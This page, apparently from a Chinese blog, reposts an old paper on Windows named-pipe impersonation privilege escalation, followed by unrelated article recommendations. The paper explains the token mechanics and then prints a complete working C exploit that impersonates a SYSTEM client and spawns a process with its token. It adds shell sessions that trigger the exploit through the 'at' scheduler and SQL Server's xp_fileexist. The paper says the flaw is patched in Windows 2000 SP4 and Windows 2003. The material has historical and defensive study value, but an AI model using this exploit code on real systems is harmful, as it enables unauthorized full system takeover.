Windows named pipes exploitation

Windows令牌窃取攻防全解析:从SeImpersonate到SYSTEM权限 在Windows安全体系中,权限控制模型是系统防御的核心。攻击者常不依赖传统漏洞,而是利用系统内置的令牌机制实现权限提升,这类技术被ATT&CK框架收录为T1134。令牌作为进程和线程的身份凭证,其模拟级别与特权配置直接影响系统安全。默认情况下,服务账户普遍拥有SeImpersonatePrivilege特权,攻击者可通过命名管道诱导高权进程,借助PrintSpoofer等工具获得SYSTEM权限。理解这一原理对内网渗透测试与安全运营均至关重要,蓝队可通过事件日志监控与权限收敛进行有效检测与防御。从实战演示 阅读详情

All latest versions of  Microsoft Windows  family  operation  systems  are
based on  Windows NT kernel. This fact has positive impact for both remote
and local security  of  Windows  world. There  are still  some thin places
though allowing  obtaining  Local System  privileges on the local computer
leading  to  the  full  system  compromise.   Usually   this   is  because
different buffer  overruns in  stack or heap  in system  services, like in
case of  any operation system. However  we should not  forget about system
specific bugs  because of abnormal behavior of system functions. This kind
of  bugs is very  system dependant  and  from  time  to time is discovered
in different OS. Of cause, Windows is not exception.

Specific bugs are  usually having impact on local users. Of cause, this is
not a kind  of axiom,  but local  user  has  access  to  larger  amount of
the  system  API  functions comparing with  remote one. So, we are talking
about  possibility   for   local  user  to  escalate  his  privileges.  By
privilege escalation we  mean obtaining privileges of Local System to have
no  limitations  at  all. Now  there  are few  ways to get it, I will talk
about new one.

According to  MSDN  to launch  application with different account one must
use  LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()'  task  is to  set
SE_ASSIGNPRIMARYTOKEN_NAME   and   SE_INCREASE_QUOTA_NAME  privileges  for
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges.  Actually  'Administrator' account
have no enough  right  for  CreateProcessAsUser().  So,  to  execute  some
application,  e.g.  'cmd.exe'  with  LocalSystem  account  we must have it
already. Since  we do not have username and password of privileged user we
need another solution.

In this paper  we will obtain  'LocalSystem'  privileges  with file access
API. To open file Windows application call CreateFile()  function, defined
below:

HANDLE CreateFile(
        LPCTSTR               lpFileName,
        DWORD                 dwDesiredAccess,
        DWORD                 dwShareMode,
        LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        DWORD         dwCreationDisposition,
        DWORD                dwFlagsAndAttributes,
        HANDLE                hTemplateFile
        );

To open file we must call something like

HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

For  advanced  Windows  programmer  it's clear that this function has more
application  rather  than  only opening   ordinary   files.  It's  used to
openor create  new  files, directories,  physical  drives,  and  different
resources for  interprocess  communication,  such as pipes  and mailslots.
We will be concerned with pipes.

Pipes  are  used for one-way  data exchange  between  parent  and child or
between  two  child  processes.  All  read/write   operations are close to
thesame file operations.

Named  Pipes are used  for two-way data exchange between client and server
or between two client  processes.  Like pipes they are like files, but can
be used to exchange data on the network.

Named pipe creation example shown below:

  HANDLE hPipe = 0;
  hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                           PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named  pipe's  name can  vary,  but  it  always  has   predefined  format.
The example of  valid name  is  '//./pipe/GetSys'.   For  Windows,  '//./'
sequence always precedes  filename,  e.g.  if  "C:/boot.ini"  is requested
system  actually   accesses  '//./C:/boot.ini'. This  format is compatible
with UNC standard.

With basic knowledge of named pipes operations we can suppose there can be
a way to full  application to access  named pipe  instead of user supplied
file. For example, if we created named pipe  "//./pipe/GetSys" we  can try
to force application to access "//ComputerName/pipe/GetSys". It gives us a
chance to manipulate with access token.

Impersonation token is  access  token  with  client's privileges. That is,
this is possibility for server to do  something on client's behalf. In our
case server  is named pipe we created. And it becomes possible  because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get  this privilege.  If  client  application  has privileges of local
system we  can get access  to registry,  process and memory management and
another possibilities not available to ordinary user.

This attack can be easily realized in practice.  Attack  scenario for this
vulnerability is next:

1. Create name pipe

Wait client connect after named pipe is created.

2. Impersonate client

Because  we assume client  application has system rights we will have them
too.

3. Obtain required rights. In fact, we need only

 - SE_ASSIGNPRIMARYTOKEN_NAME 
 - SE_INCREASE_QUOTA_NAME

 - TOKEN_ALL_ACCESS
 - TOKEN_DUBLICATE

This is all  we need for  CreateProcessAsUser() function. To obtain rights
we  need  new  token  with  TOKEN_ALL_ACCESS privelege.  And we can do it,
because we have privileges of client process.

Execute code of our choice
       

It could be registry  access,  setting  some hooks or random commands with
system privileges. Last one is  most  interesting,  because we can execute
standalone application of our choice for our specific needs.

As it was said before, now I can execute CreateProcessAsUser() with system
 privileges. I  back  to  beginning,  but  this  time  I have all required
privileges and 'LocalSystem' is under my thumb.

There  is no problem to realize  this approach. As an example, we will use
working  exploit   by    wirepair at sh0dan.org    based   on   the   code
of maceo at dogmile.com.

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
   char szPipe[64];
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);
   DWORD dw = GetLastError();
   HANDLE hToken, hToken2;
   PGENERIC_MAPPING pGeneric;
   SECURITY_ATTRIBUTES sa;
   DWORD dwAccessDesired;
   PACL pACL = NULL;
   PSECURITY_DESCRIPTOR pSD = NULL;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;

   if (argc != 2) {
          fprintf(stderr, "Usage: %s <progname>/n", argv[0]);
          return 1;
   }

   memset(&si,0,sizeof(si));
   sprintf(szPipe, "////.//pipe//GetSys");

// create named pipe"//./pipe/GetSys"

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:/n  %s/n", szPipe);
     return 2;
   }

   printf("Created Named Pipe: ////.//pipe//GetSys/n");

// initialize security descriptor to obtain client application
// privileges
   pSD = (PSECURITY_DESCRIPTOR)
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection.../n");

// wait for client connect
   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate.../n");

// impersonate client

   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe./n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token.../n");

// obtain maximum rights with TOKEN_ALL_ACCESS

   if (!OpenThreadToken(GetCurrentThread(),
                                TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u/n", dw);
                     CloseHandle(hToken);
                     return 4;
   }
   }
  
   printf("Duplicating Token.../n");

// obtain TOKEN_DUBLICATE privilege
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation,
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token/n");
          printf("GetLastError: %u/n", dw);
          return 5;
   }

// fill  pGeneric structure
   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s/n", szUser);
  
   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop         = NULL;
   si.dwFlags         = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s/n", argv[1]); 

// create new process as user
   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
        &sa,true, NORMAL_PRIORITY_CLASS |
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d/n", GetLastError());
   }

// wait process to complete and exit
   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);
 
   return 0;
}

This vulnerability gives  a  chance for us to obtain  system privileges on
local computer. The  only  condition  is system  process  must access this
channel. This  condition  is  easy  to  reproduce  with  system  services.
For example:

[shell 1]

>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive //ComputerName/pipe/GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Now we have new instance  of cmd.exe with system privileges. It means user
can easily obtain  privileges  of local system.  Of cause  reproduce  this
situation is easy only in case, there is a service, which can access files
on  user request.  Because  'at' command  requires  at  least  power  user
privileges  and may be used  to launch cmd.exe directly, without any named
pipe this example is useless.

In practice, this vulnerability may be exploited for privilege  escalation
by  the local user if Microsoft SQL Server  is installed. SQL  server runs
with system privileges and may be accessed with unprivileged user.  @Stake
reported vulnerability in  xp_fileexist  command. This command  checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:

[shell 1]

>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...

[shell 2]

C:/>isql -U user
Password:
1> xp_fileexist '//ComputerName/pipe/GetSys'
2> go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

At the   end,  it's good  to  point  that  this  vulnerability  exists  in
Windows   NT/2000/XP   and  is   patched   with   Windows   2000  SP4  and
on Windows 2003.

A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.


[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523

[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197

[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt

[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe

metasploit学习之路(四)记一次实战--永恒之蓝(MS017-010) 本次为绝对的实战,并不是本人自己构造环境实验的,而且本来也没想到是有永恒之蓝的漏洞。 永恒之蓝这个漏洞我没有复现过,但是这一次偶然的机会玩了一把。 大佬在讲台上面传授经验,用的是windows server 2003,于是我偷偷玩了一把,下面说下流程。 1、首先nmap扫描: msf5 > nmap -sS -sV -A -O -v 10.1.2.217 [*] exec: nmap -sS... 阅读详情

相关推荐

浅析Windows命名管道Named Pipe

管道 讲命令管道之前先来讲下管道。管道并不是什么新鲜事物,它是一项古老的技术,可以在很多操作系统(Unix、Linux、Windows 等)中找到,其本质是是用于进程间通信的共享内存区域,确切的说应该是线程间的通信方法(IPC)。 管道是一个有两端的对象。一个进程向管道写入信息,而另外一个进程从管道读取信息。进程可以从这个对象的一个端口写数据,从另一个端口读数据。创建管道的进程称为管道服务器(Pipe Server),而连接到这个管道的进程称为管道客户端(Pipe Clien...

谢公子的博客 1万+

模拟实现进程的创建与撤销_PrintSpoofer:滥用Windows 10和Server 2019上的模拟特权

概述在过去的几年中,类似于RottenPotato、RottenPotatoNG或Juicy Potato这样的一些Windows特权模拟工具,已经在攻防安全社区中非常流行。但是,随着操作系统不断的升级,其中也有意或无意地降低了在Windows 10和Windows Service 2016/2019上使用这些工具的效果。而我们本次分析的是一个全新的工具,将有助于渗透测试人员再次轻松地...

weixin_39895283的博客 518

Vivado时序违约小结

目录1. setup time违约1.1 逻辑级数太高1.2 Fanout太大2. hold time 违约2.1 异步信号处理导致hold time违约 1. setup time违约 建立时间是工程设计中最常遇到的问题了。一般说来,导致建立时间违例主要有两个原因:逻辑级数太大或者扇出太大,当然也可以尝试通过降频来解决建立时间违约。 1.1 逻辑级数太高 Levels指的是逻辑级数logic level,一个logic level的延迟对应的是一个LUT和一个Net的延迟,对于不同的器件,不同频率的设计能

mu_guang_的博客 7156

win10无法打开匿名级安全令牌_Printer Spoofer:在Windows 10及Server 2019上滥用Impersonation权限...

0x00 前言过去几年中诞生了不少工具,如RottenPotato、RottenPotatoNG或者Juicy Potato等,这些工具能够利用Windows系统中的模拟(Impersonation)权限,因此广受攻击者欢迎。然而Windows操作系统最近进行了不少改动,有意或者无意地降低了这些技术在Windows 10及Server 2016/2019上的威力。在本文中,我想与大家分享一款新工具...

weixin_39840733的博客 1049

西门子S7-1200模拟量的使用

模块类型核心参数输入信号处理输出信号配置转换原理数值范围TIA Portal配置编程要点 转换公式: 输出模拟量: 五、校准与线性化 硬件校准非线性补偿抗干扰措施数字滤波温度控制压力监控流量调节信号异常精度不足实践操作参考文档项目案例借鉴博客

weixin_51020122的博客 4773

别再手动算临界转速了!用ANSYS Workbench 2023 R2快速搞定转子坎贝尔图(附完整APDL命令流)

本文详细介绍了如何利用ANSYS Workbench 2023 R2快速生成转子坎贝尔图,实现全自动临界转速分析。通过对比传统手动计算与Workbench自动化流程的效率差异,展示了其在旋转机械设计中的革命性优势,包括大幅缩短分析周期、提升精度至98.7%。文章还提供了完整的APDL命令流和实战案例,帮助工程师快速掌握这一高效工具。

weixin_42699679的博客 472

失败的windows系统服务调用readfile():管道已结束?_windows安全初探之命名管道

原创 lengyi 合天智汇 前言:最近学校开了操作系统这门课,记录自己学习命名管道中与网络安全有关的内容。关于命名管道:“命名管道”又名“命名管线”(Named Pipes),是一种简单的进程间通信(IPC)机制,Microsoft Windows大都提供了对它的支持(但不包括Windows CE)。命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单...

weixin_42116794的博客 982

概率论 知识图谱 + 实战案例解析

本文通过构建概率论知识图谱,系统梳理了从随机试验、概率、条件概率到随机变量与分布的核心概念及其内在联系。结合朴素贝叶斯分类器和蒙特卡洛模拟等实战案例,深入解析了条件概率、独立性及大数定律等理论如何应用于机器学习与实际问题求解,旨在帮助读者建立结构化思维,将理论有效转化为解决实际问题的能力。

weixin_29051193的博客 267

windows安全初探之命名管道

前言:最近学校开了操作系统这门课,记录自己学习命名管道中与网络安全有关的内容。关于命名管道:“命名管道”又名“命名管线”(Named Pipes),是一种简单的进程间通信(IPC)机...

蚁景网安学院 816

用于可靠的钙钛矿薄膜瞬时光致发光模拟的拟合程序

简介 对光激发后的电荷载流子动态的研究对于确定太阳能电池的几个特性至关重要,例如,体和界面重组的数量以及向电荷传输层转移过程的速度。 瞬态光致发光(trPL)是用于研究这些特性的最流行的表征方法之一。 该实验是通过在样品上照射几纳秒的激光脉冲,并记录一段时间内的发光情况来进行的。辐射性重组的光生电荷载流子将引起太阳能电池的光子发射,而非辐射性重组的电荷载流子将不会对发光作出贡献。因此,可以测量到强度随时间递减的光致发光瞬态。(见图1表示trPL的测量和它的输出)。 图1. 一...

FluximAG的博客 2362

DeerFlow 系列教程 第十二篇 | Tools 工具体系——从内置工具到 MCP 扩展

文件此工具允许 Agent 在运行时创建新的自定义 Agent。@toolsoul: str, # SOUL.md 的完整内容description: str, # Agent 的一行描述创建流程从获取agent_name写入配置文件(包含 name 和 description)写入灵魂文件SOUL.md(定义 Agent 的人格和行为)更新中的错误回滚MCP(Model Context Protocol)是一种标准协议,允许 AI Agent 连接外部工具服务器。DeerFlow 通过。

weixin_43674738的博客 181

20165230田坤烨网络对抗免考报告_Windows系统提权

目录 KERNEL EXPLOITATION 服务攻击: DLL劫持 攻击 不安全的服务权限 探测 unquoted path未被引号标记的路径 探测 攻击 ...

weixin_30325971的博客 409

协方差矩阵自适应进化策略(CMA-ES)详解:从基础原理到优化算法

CMA-ES是一种先进的无导数优化算法,基于生物进化原理解决连续域非线性优化问题。该算法通过自适应调整多元正态分布的均值、协方差矩阵和步长参数,自动学习搜索空间结构,无需梯度信息即可高效优化。核心创新包括协方差矩阵的秩1和秩μ更新策略,以及基于进化路径的步长控制机制。CMA-ES具有旋转不变性、标度不变性和全局探索能力,特别适合3-300维的黑盒优化问题,在复杂系统仿真、超参数调优等领域表现优异。算法实现中关键参数如种群大小、学习率等均有自适应设置规则,使其成为连续优化领域的基准算法之一。

qq_42212808的博客 524

windows命名管道

一.windows管道简介 管道(Pipe)的定义: A pipe is a section of shared memory that processes use for communication. The process that creates a pipe is the pipe server. A process that connects to a pipe is a pipe

草上爬的博客 1万+

图形推理2-四大类六提示

图形推理笔记2

小y的学习笔记 6746

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

windows named pipe 客户端 服务器

可以实现多客户端对一服务端,服务端为客户端提供服务。 其实一服务端对应每一个client pipe都新建立了一个pipe。windows允许建立多个同名pipe 效果: 服务端代码: #define BUFSIZE 2048 unsigned __stdcall MsgProcessThread ( void * pParam) { HANDLE hPipe ...

weixin_33955681的博客 878

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

一个命名管道可以被多个客户端访问吗_利用命名管道进行权限提升

声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。No.1前言命名管道是Windows 比较经典的一个概念并且Linux也有,但是...

weixin_39843986的博客 1331

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

session winstaion impersonate

session winstaion impersonate

求索 1519

什么是Named Pipes

Named Pipe(命名管道)是一种有名字的, 建立在pipe server和一个(或多个)pipe client之间的单向或双向的通信管道. 一个命名管道的所有实例都会共享一个相同的pipe name, 但是每个实例都有他自己的缓冲区和句柄(handle), 并且为客户端/服务器的通讯提供一个单独的导管. 这种对实例的使用使得多个pipe client同时地使用相同的named pipe成为可...

weixin_34186931的博客 516

关于进程访问令牌( access token )

An access token is an object that describes the security context of a process or thread. The information in a token includes the identity and privileges of the user account associated with the pro

远有青山 1万+

命名管道学习笔记

“命名管道”或“命名管线”(Named Pipes )是一种简单的进程间通信( I P C)机制.命名管道可在同一台计算机的不同进程之间,或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信。命令管道是围绕Wi n d o w s文件系统设计的一种机制,采用“命名管道文件系统”(N a m e dPipe File System, NPFS)接口。因此,客户机和服务器应用可

vbanglev的小窝^_^ 2305

WMI

Windows slaves fail to start via DCOM     Skip to end of metadata Added by Kohsuke Kawaguchi, last edited by Mark Corsillo on Nov 23, 2016  (view change) show comment Go to start ...

weixin_34252686的博客 823

Enterprise Admins ,Domain Admins,Administrators

Enterprise Admins group is a group that appears only in the forest root domain controller and members of this group have full administrative control on all domains that are in your forest.D...

weixin_34185320的博客 1409

Named Pipes 连接

<br />//./pipe/sql/query<br /> <br />//./pipe/mssql$sub_server/sql/query<br /> 

tianlianchao1982的专栏 1273
上一篇: TCP/IP Datagram Explain
icedust
博客等级 码龄24年 33粉丝 9原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值